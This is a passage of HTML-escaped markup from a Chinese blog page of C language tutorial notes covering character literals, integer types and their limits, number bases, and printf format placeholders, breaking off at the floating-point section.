class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;\\102\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 八进制\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;\\x42\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 十六进制\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的四种写法都是等价的。\u003c/p\u003e\u003ch3 id=\"整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"整数类型\"\u003e\u003c/a\u003e整数类型\u003c/h3\u003e\u003ch4 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h4\u003e\u003cp\u003e整数类型用来表示较大的整数,类型声明使用\u003ccode\u003eint\u003c/code\u003e关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个整数变量\u003ccode\u003ea\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e不同计算机的\u003ccode\u003eint\u003c/code\u003e类型的大小是不一样的。比较常见的是使用4个字节(32位)存储一个\u003ccode\u003eint\u003c/code\u003e类型的值,但是2个字节(16位)或8个字节(64位)也有可能使用。它们可以表示的整数范围如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e16位:-32,768 到 32,767。\u003c/li\u003e\u003cli\u003e32位:-2,147,483,648 到 2,147,483,647。\u003c/li\u003e\u003cli\u003e64位:-9,223,372,036,854,775,808 到 9,223,372,036,854,775,807。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"signed,unsigned\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signed%EF%BC%8Cunsigned\" class=\"headerlink\" title=\"signed,unsigned\"\u003e\u003c/a\u003esigned,unsigned\u003c/h4\u003e\u003cp\u003eC 语言使用\u003ccode\u003esigned\u003c/code\u003e关键字,表示一个类型带有正负号,包含负值;使用\u003ccode\u003eunsigned\u003c/code\u003e关键字,表示该类型不带有正负号,只能表示零和正整数。\u003c/p\u003e\u003cp\u003e对于\u003ccode\u003eint\u003c/code\u003e类型,默认是带有正负号的,也就是说\u003ccode\u003eint\u003c/code\u003e等同于\u003ccode\u003esigned int\u003c/code\u003e。由于这是默认情况,关键字\u003ccode\u003esigned\u003c/code\u003e一般都省略不写,但是写了也不算错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eint\u003c/code\u003e类型也可以不带正负号,只表示非负整数。这时就必须使用关键字\u003ccode\u003eunsigned\u003c/code\u003e声明变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e整数变量声明为\u003ccode\u003eunsigned\u003c/code\u003e的好处是,同样长度的内存能够表示的最大整数值,增大了一倍。比如,16位的\u003ccode\u003esigned int\u003c/code\u003e最大值为32,767,而\u003ccode\u003eunsigned int\u003c/code\u003e的最大值增大到了65,535。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eunsigned int\u003c/code\u003e里面的\u003ccode\u003eint\u003c/code\u003e可以省略,所以上面的变量声明也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e字符类型\u003ccode\u003echar\u003c/code\u003e也可以设置\u003ccode\u003esigned\u003c/code\u003e和\u003ccode\u003eunsigned\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c; \u003cspan class=\"comment\"\u003e// 范围为 -128 到 127\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c; \u003cspan class=\"comment\"\u003e// 范围为 0 到 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,C 语言规定\u003ccode\u003echar\u003c/code\u003e类型默认是否带有正负号,由当前系统决定。这就是说,\u003ccode\u003echar\u003c/code\u003e不等同于\u003ccode\u003esigned char\u003c/code\u003e,它有可能是\u003ccode\u003esigned char\u003c/code\u003e,也有可能是\u003ccode\u003eunsigned char\u003c/code\u003e。这一点与\u003ccode\u003eint\u003c/code\u003e不同,\u003ccode\u003eint\u003c/code\u003e就是等同于\u003ccode\u003esigned int\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"整数的子类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%9A%84%E5%AD%90%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"整数的子类型\"\u003e\u003c/a\u003e整数的子类型\u003c/h4\u003e\u003cp\u003e如果\u003ccode\u003eint\u003c/code\u003e类型使用4个或8个字节表示一个整数,对于小整数,这样做很浪费空间。另一方面,某些场合需要更大的整数,8个字节还不够。为了解决这些问题,C 语言在\u003ccode\u003eint\u003c/code\u003e类型之外,又提供了三个整数的子类型。这样有利于更精细地限定整数变量的范围,也有利于更好地表达代码的意图。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eshort int\u003c/code\u003e(简写为\u003ccode\u003eshort\u003c/code\u003e):占用空间不多于\u003ccode\u003eint\u003c/code\u003e,一般占用2个字节(整数范围为-32768~32767)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong int\u003c/code\u003e(简写为\u003ccode\u003elong\u003c/code\u003e):占用空间不少于\u003ccode\u003eint\u003c/code\u003e,至少为4个字节。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong long int\u003c/code\u003e(简写为\u003ccode\u003elong long\u003c/code\u003e):占用空间多于\u003ccode\u003elong\u003c/code\u003e,至少为8个字节。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码分别声明了三种整数子类型的变量。\u003c/p\u003e\u003cp\u003e默认情况下,\u003ccode\u003eshort\u003c/code\u003e、\u003ccode\u003elong\u003c/code\u003e、\u003ccode\u003elong long\u003c/code\u003e都是带符号的(signed),即\u003ccode\u003esigned\u003c/code\u003e关键字省略了。它们也可以声明为不带符号(unsigned),使得能够表示的最大值扩大一倍。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eC 语言允许省略\u003ccode\u003eint\u003c/code\u003e,所以变量声明语句也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不同的计算机,数据类型的字节长度是不一样的。确实需要32位整数时,应使用\u003ccode\u003elong\u003c/code\u003e类型而不是\u003ccode\u003eint\u003c/code\u003e类型,可以确保不少于4个字节;确实需要64位的整数时,应该使用\u003ccode\u003elong long\u003c/code\u003e类型,可以确保不少于8个字节。另一方面,为了节省空间,只需要16位整数时,应使用\u003ccode\u003eshort\u003c/code\u003e类型;需要8位整数时,应该使用\u003ccode\u003echar\u003c/code\u003e类型。\u003c/p\u003e\u003ch4 id=\"整数类型的极限值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B%E7%9A%84%E6%9E%81%E9%99%90%E5%80%BC\" class=\"headerlink\" title=\"整数类型的极限值\"\u003e\u003c/a\u003e整数类型的极限值\u003c/h4\u003e\u003cp\u003e有时候需要查看,当前系统不同整数类型的最大值和最小值,C 语言的头文件\u003ccode\u003elimits.h\u003c/code\u003e提供了相应的常量,比如\u003ccode\u003eSCHAR_MIN\u003c/code\u003e代表 signed char 类型的最小值\u003ccode\u003e-128\u003c/code\u003e,\u003ccode\u003eSCHAR_MAX\u003c/code\u003e代表 signed char 类型的最大值\u003ccode\u003e127\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e为了代码的可移植性,需要知道某种整数类型的极限值时,应该尽量使用这些常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MIN\u003c/code\u003e,\u003ccode\u003eSCHAR_MAX\u003c/code\u003e:signed char 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MIN\u003c/code\u003e,\u003ccode\u003eSHRT_MAX\u003c/code\u003e:short 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MIN\u003c/code\u003e,\u003ccode\u003eINT_MAX\u003c/code\u003e:int 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MIN\u003c/code\u003e,\u003ccode\u003eLONG_MAX\u003c/code\u003e:long 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MIN\u003c/code\u003e,\u003ccode\u003eLLONG_MAX\u003c/code\u003e:long long 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUCHAR_MAX\u003c/code\u003e:unsigned char 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUSHRT_MAX\u003c/code\u003e:unsigned short 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUINT_MAX\u003c/code\u003e:unsigned int 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULONG_MAX\u003c/code\u003e:unsigned long 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULLONG_MAX\u003c/code\u003e:unsigned long long 的最大值。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"整数的进制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%9A%84%E8%BF%9B%E5%88%B6\" class=\"headerlink\" title=\"整数的进制\"\u003e\u003c/a\u003e整数的进制\u003c/h4\u003e\u003cp\u003eC 语言的整数默认都是十进制数,如果要表示八进制数和十六进制数,必须使用专门的表示法。\u003c/p\u003e\u003cp\u003e八进制使用\u003ccode\u003e0\u003c/code\u003e作为前缀,比如\u003ccode\u003e017\u003c/code\u003e、\u003ccode\u003e0377\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e012\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 八进制,相当于十进制的10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e十六进制使用\u003ccode\u003e0x\u003c/code\u003e或\u003ccode\u003e0X\u003c/code\u003e作为前缀,比如\u003ccode\u003e0xf\u003c/code\u003e、\u003ccode\u003e0X10\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e0x1A2B\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 十六进制,相当于十进制的6699\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e有些编译器使用\u003ccode\u003e0b\u003c/code\u003e前缀,表示二进制数,但不是标准。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e0b101010\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,不同的进制只是整数的书写方法,不会对整数的实际存储方式产生影响。所有整数都是二进制形式存储,跟书写方式无关。不同进制可以混合使用,比如\u003ccode\u003e10 + 015 + 0x20\u003c/code\u003e是一个合法的表达式。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的进制相关占位符如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:十进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%o\u003c/code\u003e:八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%x\u003c/code\u003e:十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#o\u003c/code\u003e:显示前缀\u003ccode\u003e0\u003c/code\u003e的八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#x\u003c/code\u003e:显示前缀\u003ccode\u003e0x\u003c/code\u003e的十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#X\u003c/code\u003e:显示前缀\u003ccode\u003e0X\u003c/code\u003e的十六进制整数。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;dec = %d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;octal = %o\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 144\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %x\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;octal = %#o\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0144\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %#x\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0x64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %#X\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0X64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"浮点数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%AE%E7%82%B9%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"浮点数类型\"\u003e\u003c/a\u003e浮点数类型\u003c/h3\u003e\u003cp\u003e任何有小数点的数值,都会被编译器解释为浮点数。所谓“浮点数”就是使用 m * b\u003csup\u003ee\u003c/sup\u003e 的形式,存储一个数值,\u003ccode\u003em\u003c/code\u003e是小数部分,\u003ccode\u003eb\u003c/code\u003e是基数(通常是\u003ccode\u003e2\u003c/code\u003e),\u003ccode\u003ee\u003c/code\u003e是指数部分。这种形式是精度和数值范围的一种结合,可以表示非常大或者非常小的数。\u003c/p\u003e\u003cp\u003e浮点数的类型声明使用\u003ccode\u003efloat\u003c/code\u003e关键字,可以用来声明浮点数变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 